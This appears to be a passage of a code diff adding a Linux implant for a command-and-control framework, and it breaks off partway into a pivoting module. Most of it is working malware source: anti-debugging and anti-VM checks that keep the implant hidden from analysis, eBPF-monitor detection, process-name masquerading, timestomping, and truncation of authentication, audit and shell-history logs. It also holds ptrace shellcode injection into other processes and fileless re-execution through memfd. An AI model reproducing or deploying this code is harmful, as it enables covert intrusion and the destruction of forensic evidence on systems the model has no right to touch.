+ DEOBF(OBF_PROC_SELF_STATUS, _path_status);
+ char status_buf[2048];
+ if (read_file(_path_status, status_buf, sizeof(status_buf)) > 0) {
+ char *tracer = ax_strstr(status_buf, "TracerPid:");
+ if (tracer) {
+ tracer += 10;
+ while (*tracer == ' ' || *tracer == '\t') tracer++;
+ int pid = ax_atoi(tracer);
+ if (pid != 0) {
+ ZERO_STR(_path_status, sizeof(_path_status));
+ return -1; // Non-zero TracerPid → debugger attached
+ }
+ }
+ }
+ ZERO_STR(_path_status, sizeof(_path_status));
+
+ // 2. Fork-based ptrace check — child attempts TRACEME, parent reads result
+ // This avoids leaving the main process in a traced state.
+ {
+ int pipefd[2];
+ if (sys_pipe2(pipefd, 0) < 0) goto skip_ptrace;
+
+ int child = sys_fork();
+ if (child < 0) {
+ sys_close(pipefd[0]);
+ sys_close(pipefd[1]);
+ goto skip_ptrace;
+ }
+
+ if (child == 0) {
+ // Child: try TRACEME — if we're being traced, this fails
+ sys_close(pipefd[0]);
+ uint8_t result = 0;
+ if (sys_ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0)
+ result = 1; // Already traced
+ sys_write(pipefd[1], &result, 1);
+ sys_close(pipefd[1]);
+ sys_exit_group(0);
+ }
+
+ // Parent: read child result
+ sys_close(pipefd[1]);
+ uint8_t result = 0;
+ sys_read(pipefd[0], &result, 1);
+ sys_close(pipefd[0]);
+
+ // Wait for child to prevent zombie
+ sys_wait4(child, NULL, 0, NULL);
+
+ if (result != 0) return -1;
+ }
+skip_ptrace:
+
+ // 3. Timing check — detect single-stepping
+#ifdef ARCH_X86_64
+ {
+ uint32_t lo1, hi1, lo2, hi2;
+ __asm__ volatile("rdtsc" : "=a"(lo1), "=d"(hi1));
+
+ volatile int dummy = 0;
+ for (int i = 0; i < 100; i++) dummy += i;
+ (void)dummy;
+
+ __asm__ volatile("rdtsc" : "=a"(lo2), "=d"(hi2));
+
+ uint64_t t1 = ((uint64_t)hi1 << 32) | lo1;
+ uint64_t t2 = ((uint64_t)hi2 << 32) | lo2;
+ uint64_t delta = t2 - t1;
+
+ // Normal: ~1000-50000 cycles. Single-step: >10M cycles.
+ if (delta > 10000000) {
+ return -1;
+ }
+ }
+#endif
+
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// VM/Hypervisor Detection
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_vm_detect(void) {
+ char dmi_buf[256];
+
+ // 1. DMI product_name
+ char _path_dmi[64];
+ DEOBF(OBF_SYS_DMI_PRODUCT, _path_dmi);
+ if (read_file(_path_dmi, dmi_buf, sizeof(dmi_buf)) > 0) {
+ if (contains_ci(dmi_buf, "virtualbox")) return -1;
+ if (contains_ci(dmi_buf, "vmware")) return -1;
+ if (contains_ci(dmi_buf, "qemu")) return -1;
+ if (contains_ci(dmi_buf, "kvm")) return -1;
+ if (contains_ci(dmi_buf, "xen")) return -1;
+ if (contains_ci(dmi_buf, "hyper-v")) return -1;
+ if (contains_ci(dmi_buf, "parallels")) return -1;
+ }
+
+ // 2. DMI sys_vendor
+ char _path_vendor[64];
+ DEOBF(OBF_SYS_DMI_VENDOR, _path_vendor);
+ if (read_file(_path_vendor, dmi_buf, sizeof(dmi_buf)) > 0) {
+ if (contains_ci(dmi_buf, "vmware")) return -1;
+ if (contains_ci(dmi_buf, "innotek")) return -1;
+ if (contains_ci(dmi_buf, "qemu")) return -1;
+ if (contains_ci(dmi_buf, "xen")) return -1;
+ if (contains_ci(dmi_buf, "microsoft")) return -1;
+ if (contains_ci(dmi_buf, "parallels")) return -1;
+ }
+
+ // 3. /proc/cpuinfo — check for "hypervisor" flag
+ char _path_cpu[64];
+ DEOBF(OBF_PROC_CPUINFO, _path_cpu);
+ char cpuinfo_buf[4096];
+ if (read_file(_path_cpu, cpuinfo_buf, sizeof(cpuinfo_buf)) > 0) {
+ if (ax_strstr(cpuinfo_buf, "hypervisor")) return -1;
+ }
+
+ // 4. CPU count check — analysis VMs often have 1 core
+ {
+ int cpu_count = 0;
+ char *p = cpuinfo_buf;
+ while ((p = ax_strstr(p, "processor")) != NULL) {
+ cpu_count++;
+ p += 9;
+ }
+ if (cpu_count > 0 && cpu_count < 2) return -1;
+ }
+
+ // 5. RAM check — /proc/meminfo MemTotal < 2GB = suspect
+ {
+ char _path_mem[64];
+ DEOBF(OBF_PROC_MEMINFO, _path_mem);
+ char meminfo_buf[1024];
+ if (read_file(_path_mem, meminfo_buf, sizeof(meminfo_buf)) > 0) {
+ char *mt = ax_strstr(meminfo_buf, "MemTotal:");
+ if (mt) {
+ mt += 9;
+ while (*mt == ' ') mt++;
+ long kb = 0;
+ while (*mt >= '0' && *mt <= '9') {
+ kb = kb * 10 + (*mt - '0');
+ mt++;
+ }
+ if (kb > 0 && kb < 2 * 1024 * 1024) return -1;
+ }
+ }
+ }
+
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Container Detection
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_container_detect(void) {
+ char _path_dockerenv[64];
+ DEOBF(OBF_DOCKERENV, _path_dockerenv);
+ if (file_exists(_path_dockerenv)) return -1;
+
+ char _path_cgroup[64];
+ DEOBF(OBF_PROC_1_CGROUP, _path_cgroup);
+ char cgroup_buf[2048];
+ if (read_file(_path_cgroup, cgroup_buf, sizeof(cgroup_buf)) > 0) {
+ if (ax_strstr(cgroup_buf, "docker")) return -1;
+ if (ax_strstr(cgroup_buf, "kubepods")) return -1;
+ if (ax_strstr(cgroup_buf, "lxc")) return -1;
+ if (ax_strstr(cgroup_buf, "containerd")) return -1;
+ if (ax_strstr(cgroup_buf, "podman")) return -1;
+ }
+
+ char selfcg_buf[1024];
+ if (read_file("/proc/self/cgroup", selfcg_buf, sizeof(selfcg_buf)) > 0) {
+ if (ax_strstr(selfcg_buf, "docker")) return -1;
+ if (ax_strstr(selfcg_buf, "kubepods")) return -1;
+ if (ax_strstr(selfcg_buf, "podman")) return -1;
+ }
+
+ char _path_k8s[64];
+ DEOBF(OBF_K8S_SECRETS, _path_k8s);
+ if (file_exists(_path_k8s)) return -1;
+ if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) return -1;
+
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// eBPF Detection — enumerate loaded BPF programs
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_ebpf_detect(void) {
+ int monitoring_count = 0;
+
+ // Method 1: Check /sys/fs/bpf/ — pinned BPF programs
+ if (file_exists("/sys/fs/bpf")) {
+ // If the directory exists and is accessible, BPF is active
+ // We can't easily enumerate without getdents, so just flag it
+ }
+
+ // Method 2: bpf(BPF_PROG_GET_NEXT_ID) — iterate all loaded programs
+ // attr = { start_id: u32, next_id: u32 }
+ // Each iteration returns next program ID
+ {
+ // BPF attr union — we only need the first 8 bytes
+ uint8_t attr[128];
+ ax_memset(attr, 0, sizeof(attr));
+
+ uint32_t start_id = 0;
+ for (int iter = 0; iter < 1024; iter++) {
+ // attr.__u32 start_id at offset 0
+ ax_memcpy(attr, &start_id, 4);
+
+ long ret = sys_bpf(BPF_PROG_GET_NEXT_ID, attr, sizeof(attr));
+ if (ret < 0) break; // No more programs
+
+ // next_id at offset 4
+ uint32_t next_id;
+ ax_memcpy(&next_id, attr + 4, 4);
+
+ // Get fd for this program
+ ax_memset(attr, 0, sizeof(attr));
+ ax_memcpy(attr, &next_id, 4); // prog_id at offset 0
+ long fd = sys_bpf(BPF_PROG_GET_FD_BY_ID, attr, sizeof(attr));
+ if (fd >= 0) {
+ // Get program info via BPF_OBJ_GET_INFO_BY_FD
+ // info_by_fd: { bpf_fd: u32, info_len: u32, info: u64 (ptr) }
+ uint8_t info[256];
+ ax_memset(info, 0, sizeof(info));
+ ax_memset(attr, 0, sizeof(attr));
+
+ uint32_t bpf_fd = (uint32_t)fd;
+ uint32_t info_len = (uint32_t)sizeof(info);
+ uint64_t info_ptr = (uint64_t)(unsigned long)info;
+
+ // bpf_attr for OBJ_GET_INFO_BY_FD:
+ // offset 0: bpf_fd (u32)
+ // offset 4: info_len (u32)
+ // offset 8: info (u64, pointer)
+ ax_memcpy(attr, &bpf_fd, 4);
+ ax_memcpy(attr + 4, &info_len, 4);
+ ax_memcpy(attr + 8, &info_ptr, 8);
+
+ ret = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, attr, 16);
+ if (ret == 0) {
+ // bpf_prog_info.type is at offset 0 (u32)
+ uint32_t prog_type;
+ ax_memcpy(&prog_type, info, 4);
+
+ if (prog_type == BPF_PROG_TYPE_KPROBE ||
+ prog_type == BPF_PROG_TYPE_TRACEPOINT ||
+ prog_type == BPF_PROG_TYPE_RAW_TRACEPOINT ||
+ prog_type == BPF_PROG_TYPE_LSM) {
+ monitoring_count++;
+ }
+ }
+ sys_close((int)fd);
+ }
+
+ start_id = next_id;
+ }
+ }
+
+ // Method 3: Filesystem indicators
+ // Check for Falco / Tetragon / Cilium / Tracee
+ if (file_exists("/etc/falco/falco.yaml")) monitoring_count++;
+ if (file_exists("/var/run/cilium/state")) monitoring_count++;
+ if (file_exists("/opt/tetragon")) monitoring_count++;
+
+ return monitoring_count; // 0 = safe, >0 = number of eBPF monitors found
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Process Masquerading
+// ══════════════════════════════════════════════════════════════════════
+
+void opsec_masquerade(const char *fake_name, char **argv) {
+ if (!fake_name || !*fake_name) return;
+
+ // 1. prctl(PR_SET_NAME) → modifies /proc/self/comm (max 16 chars)
+ sys_prctl(PR_SET_NAME, (unsigned long)fake_name, 0, 0, 0);
+
+ // 2. Overwrite argv[0] → modifies /proc/self/cmdline
+ if (argv && argv[0]) {
+ // Calculate max length we can overwrite (argv[0] buffer)
+ size_t old_len = ax_strlen(argv[0]);
+ size_t new_len = ax_strlen(fake_name);
+ size_t copy_len = new_len < old_len ? new_len : old_len;
+
+ ax_memcpy(argv[0], fake_name, copy_len);
+ // Zero-fill remainder to avoid partial old name showing
+ if (copy_len < old_len) {
+ ax_memset(argv[0] + copy_len, 0, old_len - copy_len);
+ }
+ }
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Timestomping — modify atime/mtime via utimensat
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_timestomp(const char *path, long ts_sec) {
+ if (!path) return -1;
+
+ struct linux_timespec times[2];
+
+ if (ts_sec == 0) {
+ // Special: set UTIME_OMIT-like behavior — copy from reference
+ // Use a common system file as reference
+ struct linux_stat st;
+ if (sys_stat("/usr/bin/ls", &st) == 0) {
+ times[0].tv_sec = (long)st.st_atime_sec;
+ times[0].tv_nsec = (long)st.st_atime_nsec;
+ times[1].tv_sec = (long)st.st_mtime_sec;
+ times[1].tv_nsec = (long)st.st_mtime_nsec;
+ } else {
+ // Fallback: Jan 15, 2024 10:30:00 UTC
+ times[0].tv_sec = 1705311000;
+ times[0].tv_nsec = 0;
+ times[1].tv_sec = 1705311000;
+ times[1].tv_nsec = 0;
+ }
+ } else {
+ times[0].tv_sec = ts_sec;
+ times[0].tv_nsec = 0;
+ times[1].tv_sec = ts_sec;
+ times[1].tv_nsec = 0;
+ }
+
+ return sys_utimensat(AT_FDCWD, path, times, 0);
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Log Evasion — truncate authentication & session logs
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_clean_logs(void) {
+ // Only effective as root — non-root will fail silently
+ int cleaned = 0;
+
+ // Truncate binary logs (these can't be selectively edited)
+ const char *binary_logs[] = {
+ "/var/log/wtmp",
+ "/var/log/btmp",
+ "/var/log/lastlog",
+ "/var/run/utmp",
+ NULL
+ };
+
+ for (int i = 0; binary_logs[i]; i++) {
+ int fd = sys_open(binary_logs[i], O_WRONLY | O_TRUNC, 0);
+ if (fd >= 0) {
+ sys_close(fd);
+ cleaned++;
+ }
+ }
+
+ // Truncate text logs
+ const char *text_logs[] = {
+ "/var/log/auth.log",
+ "/var/log/secure",
+ "/var/log/syslog",
+ "/var/log/messages",
+ "/var/log/audit/audit.log",
+ NULL
+ };
+
+ for (int i = 0; text_logs[i]; i++) {
+ int fd = sys_open(text_logs[i], O_WRONLY | O_TRUNC, 0);
+ if (fd >= 0) {
+ sys_close(fd);
+ cleaned++;
+ }
+ }
+
+ // Clear shell history for current user
+ // Read HOME from /proc/self/environ
+ char _path_environ[64];
+ DEOBF(OBF_PROC_SELF_ENVIRON, _path_environ);
+ char env_buf[4096];
+ int env_len = read_file(_path_environ, env_buf, sizeof(env_buf));
+ if (env_len > 0) {
+ // /proc/self/environ is NUL-separated
+ char *p = env_buf;
+ char *end = env_buf + env_len;
+ while (p < end) {
+ if (ax_strncmp(p, "HOME=", 5) == 0) {
+ char *home = p + 5;
+ // Truncate common history files
+ char path[512];
+ const char *history_files[] = {
+ "/.bash_history",
+ "/.zsh_history",
+ "/.python_history",
+ NULL
+ };
+ for (int i = 0; history_files[i]; i++) {
+ // Build path: HOME + history_file
+ size_t hlen = ax_strlen(home);
+ size_t flen = ax_strlen(history_files[i]);
+ if (hlen + flen < sizeof(path)) {
+ ax_memcpy(path, home, hlen);
+ ax_memcpy(path + hlen, history_files[i], flen + 1);
+ int fd = sys_open(path, O_WRONLY | O_TRUNC, 0);
+ if (fd >= 0) {
+ sys_close(fd);
+ cleaned++;
+ }
+ }
+ }
+ break;
+ }
+ // Skip to next NUL-separated entry
+ while (p < end && *p) p++;
+ p++;
+ }
+ }
+
+ return cleaned; // Number of logs truncated
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Process Injection via ptrace
+// ══════════════════════════════════════════════════════════════════════
+
+#ifdef ARCH_X86_64
+
+// x86_64 user_regs_struct (simplified)
+struct user_regs {
+ uint64_t r15, r14, r13, r12, rbp, rbx, r11, r10;
+ uint64_t r9, r8, rax, rcx, rdx, rsi, rdi, orig_rax;
+ uint64_t rip, cs, eflags, rsp, ss, fs_base, gs_base;
+ uint64_t ds, es, fs, gs;
+};
+
+int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) {
+ if (!shellcode || sc_len == 0) return -1;
+
+ // 1. Attach to target
+ if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0)
+ return -1;
+
+ // Wait for target to stop
+ int wstatus = 0;
+ sys_wait4(target_pid, &wstatus, 0, NULL);
+
+ // 2. Get current registers
+ struct user_regs regs;
+ if (sys_ptrace(PTRACE_GETREGS, target_pid, NULL, ®s) < 0) {
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+ return -1;
+ }
+
+ // 3. Find writable region in target via /proc/PID/maps
+ // Look for an anonymous RW mapping (e.g. heap or stack) to write shellcode
+ char maps_path[64];
+ char pid_str[16];
+ ax_itoa(target_pid, pid_str, 10);
+ ax_strcpy(maps_path, "/proc/");
+ ax_strcat(maps_path, pid_str);
+ ax_strcat(maps_path, "/maps");
+
+ char maps_buf[8192];
+ int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf));
+ if (maps_len <= 0) {
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+ return -1;
+ }
+
+ // Parse maps looking for an executable region to inject into.
+ // Priority: 1) r-xp (code section — POKETEXT bypasses page protections)
+ // 2) rwxp (rare but ideal)
+ // 3) fallback to current RIP
+ // Writing into r-xp via POKETEXT works because ptrace operates at
+ // the kernel level, bypassing page permission checks. The page is
+ // already executable so the target can run the shellcode directly.
+ uint64_t inject_addr = 0;
+ char *line = maps_buf;
+ while (*line) {
+ // Format: "addr1-addr2 perms offset dev inode pathname"
+ uint64_t addr1 = 0, addr2 = 0;
+ char *p = line;
+ while (*p && *p != '-') {
+ char c = *p;
+ if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0');
+ else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10);
+ p++;
+ }
+ if (*p == '-') p++;
+ while (*p && *p != ' ') {
+ char c = *p;
+ if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0');
+ else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10);
+ p++;
+ }
+ if (*p == ' ') p++;
+ // Read perms (4 chars: r-xp, rwxp, rw-p, etc.)
+ if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') {
+ // r-xp or rwxp — executable region
+ uint64_t region_size = addr2 - addr1;
+ if (region_size > sc_len + 0x200) {
+ // Inject near the end of .text to minimize disruption
+ inject_addr = addr2 - sc_len - 0x100;
+ // Align to 16
+ inject_addr &= ~(uint64_t)0xF;
+ break;
+ }
+ }
+ // Next line
+ while (*line && *line != '\n') line++;
+ if (*line == '\n') line++;
+ }
+
+ if (inject_addr == 0) {
+ // Fallback: use RIP-relative (inject at current RIP position)
+ inject_addr = regs.rip;
+ }
+
+ // 4. Write shellcode via POKETEXT (8 bytes at a time)
+ for (size_t i = 0; i < sc_len; i += 8) {
+ uint64_t word = 0;
+ size_t chunk = sc_len - i;
+ if (chunk > 8) chunk = 8;
+
+ // If less than 8 bytes, read existing word first to preserve trailing bytes
+ if (chunk < 8) {
+ long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid,
+ (void *)(inject_addr + i), NULL);
+ word = (uint64_t)existing;
+ }
+
+ ax_memcpy(&word, shellcode + i, chunk);
+ if (sys_ptrace(PTRACE_POKETEXT, target_pid,
+ (void *)(inject_addr + i), (void *)word) < 0) {
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+ return -1;
+ }
+ }
+
+ // 5. Set RIP to our shellcode
+ regs.rip = inject_addr;
+ sys_ptrace(PTRACE_SETREGS, target_pid, NULL, ®s);
+
+ // 6. Detach — target resumes at our shellcode
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+
+ return 0;
+}
+
+#elif defined(ARCH_AARCH64)
+
+// ARM64 user_regs_struct
+struct user_regs {
+ uint64_t regs[31]; // x0-x30
+ uint64_t sp;
+ uint64_t pc;
+ uint64_t pstate;
+};
+
+// ARM64 uses PTRACE_GETREGSET / PTRACE_SETREGSET with NT_PRSTATUS
+// But some kernels support GETREGS/SETREGS too. Use raw ptrace.
+#define PTRACE_GETREGSET 0x4204
+#define PTRACE_SETREGSET 0x4205
+#define NT_PRSTATUS 1
+
+struct iovec_t {
+ void *iov_base;
+ size_t iov_len;
+};
+
+int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len) {
+ if (!shellcode || sc_len == 0) return -1;
+
+ // 1. Attach
+ if (sys_ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) < 0)
+ return -1;
+
+ int wstatus = 0;
+ sys_wait4(target_pid, &wstatus, 0, NULL);
+
+ // 2. Get registers via GETREGSET
+ struct user_regs regs;
+ struct iovec_t iov;
+ iov.iov_base = ®s;
+ iov.iov_len = sizeof(regs);
+
+ if (sys_ptrace(PTRACE_GETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov) < 0) {
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+ return -1;
+ }
+
+ // 3. Find writable region
+ char maps_path[64];
+ char pid_str[16];
+ ax_itoa(target_pid, pid_str, 10);
+ ax_strcpy(maps_path, "/proc/");
+ ax_strcat(maps_path, pid_str);
+ ax_strcat(maps_path, "/maps");
+
+ char maps_buf[8192];
+ int maps_len = read_file(maps_path, maps_buf, sizeof(maps_buf));
+ uint64_t inject_addr = 0;
+
+ if (maps_len > 0) {
+ // Find r-xp or rwxp region (executable) — POKETEXT bypasses page protections
+ char *line = maps_buf;
+ while (*line) {
+ uint64_t addr1 = 0, addr2 = 0;
+ char *p = line;
+ while (*p && *p != '-') {
+ char c = *p;
+ if (c >= '0' && c <= '9') addr1 = (addr1 << 4) | (uint64_t)(c - '0');
+ else if (c >= 'a' && c <= 'f') addr1 = (addr1 << 4) | (uint64_t)(c - 'a' + 10);
+ p++;
+ }
+ if (*p == '-') p++;
+ while (*p && *p != ' ') {
+ char c = *p;
+ if (c >= '0' && c <= '9') addr2 = (addr2 << 4) | (uint64_t)(c - '0');
+ else if (c >= 'a' && c <= 'f') addr2 = (addr2 << 4) | (uint64_t)(c - 'a' + 10);
+ p++;
+ }
+ if (*p == ' ') p++;
+ if (p[0] == 'r' && p[2] == 'x' && p[3] == 'p') {
+ uint64_t region_size = addr2 - addr1;
+ if (region_size > sc_len + 0x200) {
+ inject_addr = addr2 - sc_len - 0x100;
+ inject_addr &= ~(uint64_t)0xF;
+ break;
+ }
+ }
+ while (*line && *line != '\n') line++;
+ if (*line == '\n') line++;
+ }
+ }
+
+ if (inject_addr == 0) {
+ inject_addr = regs.pc;
+ }
+
+ // 4. Write shellcode via POKETEXT
+ for (size_t i = 0; i < sc_len; i += 8) {
+ uint64_t word = 0;
+ size_t chunk = sc_len - i;
+ if (chunk > 8) chunk = 8;
+
+ if (chunk < 8) {
+ long existing = sys_ptrace(PTRACE_PEEKTEXT, target_pid,
+ (void *)(inject_addr + i), NULL);
+ word = (uint64_t)existing;
+ }
+
+ ax_memcpy(&word, shellcode + i, chunk);
+ if (sys_ptrace(PTRACE_POKETEXT, target_pid,
+ (void *)(inject_addr + i), (void *)word) < 0) {
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+ return -1;
+ }
+ }
+
+ // 5. Set PC to our shellcode
+ regs.pc = inject_addr;
+ iov.iov_base = ®s;
+ iov.iov_len = sizeof(regs);
+ sys_ptrace(PTRACE_SETREGSET, target_pid, (void *)(long)NT_PRSTATUS, &iov);
+
+ // 6. Detach
+ sys_ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
+
+ return 0;
+}
+
+#endif // ARCH_X86_64 / ARCH_AARCH64
+
+// ══════════════════════════════════════════════════════════════════════
+// Fileless self-re-exec via memfd_create
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_migrate_memfd(char **argv, char **envp) {
+ // 1. Read our own binary from /proc/self/exe
+ char _path_exe[64];
+ DEOBF(OBF_PROC_SELF_EXE, _path_exe);
+ int src_fd = sys_open(_path_exe, O_RDONLY, 0);
+ if (src_fd < 0) return -1;
+
+ // Get size via stat
+ struct linux_stat st;
+ if (sys_fstat(src_fd, &st) < 0) {
+ sys_close(src_fd);
+ return -1;
+ }
+
+ size_t exe_size = (size_t)st.st_size;
+ if (exe_size == 0 || exe_size > 100 * 1024 * 1024) {
+ sys_close(src_fd);
+ return -1; // Sanity check: max 100MB
+ }
+
+ // 2. Create anonymous fd via memfd_create
+ int mem_fd = sys_memfd_create("", MFD_CLOEXEC);
+ if (mem_fd < 0) {
+ sys_close(src_fd);
+ return -1;
+ }
+
+ // 3. Copy binary to memfd
+ uint8_t copy_buf[4096];
+ size_t remaining = exe_size;
+ while (remaining > 0) {
+ size_t chunk = remaining > sizeof(copy_buf) ? sizeof(copy_buf) : remaining;
+ long n = sys_read(src_fd, copy_buf, chunk);
+ if (n <= 0) {
+ sys_close(src_fd);
+ sys_close(mem_fd);
+ return -1;
+ }
+ if (write_all(mem_fd, copy_buf, (size_t)n) != 0) {
+ sys_close(src_fd);
+ sys_close(mem_fd);
+ return -1;
+ }
+ remaining -= (size_t)n;
+ }
+ sys_close(src_fd);
+
+ // 4. Build /proc/self/fd/N path for execve
+ char fd_path[64];
+ ax_strcpy(fd_path, "/proc/self/fd/");
+ char fd_str[16];
+ ax_itoa(mem_fd, fd_str, 10);
+ ax_strcat(fd_path, fd_str);
+
+ // 5. execve from memfd — replaces current process
+ // If argv is NULL, use a minimal argv
+ char *default_argv[] = { (char*)"[kworker/0:1-events]", NULL };
+ char *default_envp[] = { NULL };
+
+ sys_execve(fd_path,
+ argv ? argv : default_argv,
+ envp ? envp : default_envp);
+
+ // If we get here, execve failed
+ sys_close(mem_fd);
+ return -1;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Combined Check
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_check(void) {
+ // Anti-debug is blocking
+ if (opsec_anti_debug() != 0) return -1;
+
+ // VM detection is blocking
+ if (opsec_vm_detect() != 0) return -1;
+
+ // Container detection is informational — don't block
+ // opsec_container_detect();
+
+ // eBPF detection is informational — >5 monitors is suspicious but not blocking
+ // int ebpf = opsec_ebpf_detect();
+ // if (ebpf > 5) return -1; // Uncomment for paranoid mode
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h
new file mode 100644
index 000000000..e6fee399f
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h
@@ -0,0 +1,36 @@
+#ifndef OPSEC_H
+#define OPSEC_H
+
+#include "types.h"
+
+/// OPSEC checks -- anti-debug, VM detection, container detection, eBPF detection
+/// Call opsec_check() at startup before any C2 communication.
+
+/// Run all OPSEC checks. Returns 0 if safe, -1 if hostile environment detected.
+int opsec_check(void);
+
+/// Individual checks (can be called separately)
+int opsec_anti_debug(void); /* ptrace(TRACEME) + /proc/self/status TracerPid */
+int opsec_vm_detect(void); /* VM/hypervisor detection via CPUID / DMI */
+int opsec_container_detect(void); /* cgroup v1/v2, /.dockerenv, namespace checks */
+int opsec_ebpf_detect(void); /* eBPF program enumeration (kprobes/tracepoints) */
+
+/// Process masquerading — called at startup
+/// Modifies /proc/self/comm and argv[0] to fake process name
+void opsec_masquerade(const char *fake_name, char **argv);
+
+/// Timestomping — modify file timestamps via utimensat syscall
+/// ts_sec=0 means copy timestamps from reference_path
+int opsec_timestomp(const char *path, long ts_sec);
+
+/// Log evasion — truncate auth/wtmp/btmp logs (requires root)
+int opsec_clean_logs(void);
+
+/// Process injection via ptrace — inject + exec shellcode in target pid
+int opsec_inject_ptrace(int target_pid, const uint8_t *shellcode, size_t sc_len);
+
+/// Fileless self-re-exec via memfd_create
+/// Reads own binary from /proc/self/exe, creates anonymous fd, fexecve
+int opsec_migrate_memfd(char **argv, char **envp);
+
+#endif /* OPSEC_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c
new file mode 100644
index 000000000..26a9afaa1
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c
@@ -0,0 +1,393 @@
+#include "pivot.h"
+#include "crt.h"
+#include "connector.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// Linux socket constants (duplicated from connector.c — no shared header for these)
+#ifndef AF_INET
+#define AF_INET 2
+#endif
+#ifndef SOCK_STREAM
+#define SOCK_STREAM 1
+#endif
+#ifndef IPPROTO_TCP
+#define IPPROTO_TCP 6
+#endif
+
+// For non-blocking IO
+#define F_GETFL 3
+#define F_SETFL 4
+#define O_NONBLOCK 04000
+
+// For getsockopt SO_ERROR check after non-blocking connect
+#define SOL_SOCKET 1
+#define SO_ERROR 4
+
+// EINPROGRESS for non-blocking connect
+#define EINPROGRESS 115
+
+// Connect timeout (seconds)
+#define PIVOT_CONNECT_TIMEOUT 10
+
+// For pselect fd_set (up to 1024 fds)
+typedef struct {
+ unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))];
+} linux_fd_set;
+
+#define FD_ZERO(set) ax_memset((set), 0, sizeof(linux_fd_set))
+#define FD_SET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] |= (1UL << ((fd) % (8 * sizeof(unsigned long)))))
+#define FD_ISSET(fd, set) ((set)->fds_bits[(fd) / (8 * sizeof(unsigned long))] & (1UL << ((fd) % (8 * sizeof(unsigned long)))))
+
+// sockaddr_in (manual, no libc)
+struct pivot_sockaddr_in {
+ uint16_t sin_family;
+ uint16_t sin_port;
+ uint32_t sin_addr;
+ uint8_t sin_zero[8];
+};
+
+/// Global pivot context
+pivot_context_t g_pivot_ctx;
+
+void pivots_init(pivot_context_t *ctx) {
+ ax_memset(ctx, 0, sizeof(pivot_context_t));
+}
+
+/// Parse "host:port" into ip (network byte order) and port (host order)
+static int pivot_parse_addr(const char *address, int port_override,
+ uint32_t *ip_out, uint16_t *port_out) {
+ // If address contains ':', parse as "host:port"
+ // Otherwise use address as host and port_override as port
+ const char *host = address;
+ int port = port_override;
+
+ const char *colon = (const char *)0;
+ for (const char *p = address; *p; p++) {
+ if (*p == ':') colon = p;
+ }
+
+ // Parse IP octets from host part
+ const char *end = colon ? colon : (address + ax_strlen(address));
+
+ uint32_t octets[4] = {0};
+ int idx = 0;
+ for (const char *p = host; p < end && idx < 4; p++) {
+ if (*p == '.') {
+ idx++;
+ } else if (*p >= '0' && *p <= '9') {
+ octets[idx] = octets[idx] * 10 + (*p - '0');
+ } else {
+ return -1;
+ }
+ }
+ if (idx != 3) return -1;
+ for (int i = 0; i < 4; i++)
+ if (octets[i] > 255) return -1;
+
+ *ip_out = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24);
+
+ // Port: network byte order
+ uint16_t p16 = (uint16_t)port;
+ *port_out = ((p16 >> 8) & 0xFF) | ((p16 & 0xFF) << 8);
+
+ return 0;
+}
+
+/// Read exactly N bytes from fd. Returns 0 on success, -1 on failure.
+static int pivot_read_exact(int fd, uint8_t *buf, size_t size) {
+ size_t total = 0;
+ while (total < size) {
+ long n = sys_read(fd, buf + total, size - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+ return 0;
+}
+
+/// Write exactly N bytes to fd. Returns 0 on success, -1 on failure.
+static int pivot_write_exact(int fd, const uint8_t *buf, size_t size) {
+ size_t total = 0;
+ while (total < size) {
+ long n = sys_write(fd, buf + total, size - total);
+ if (n <= 0) return -1;
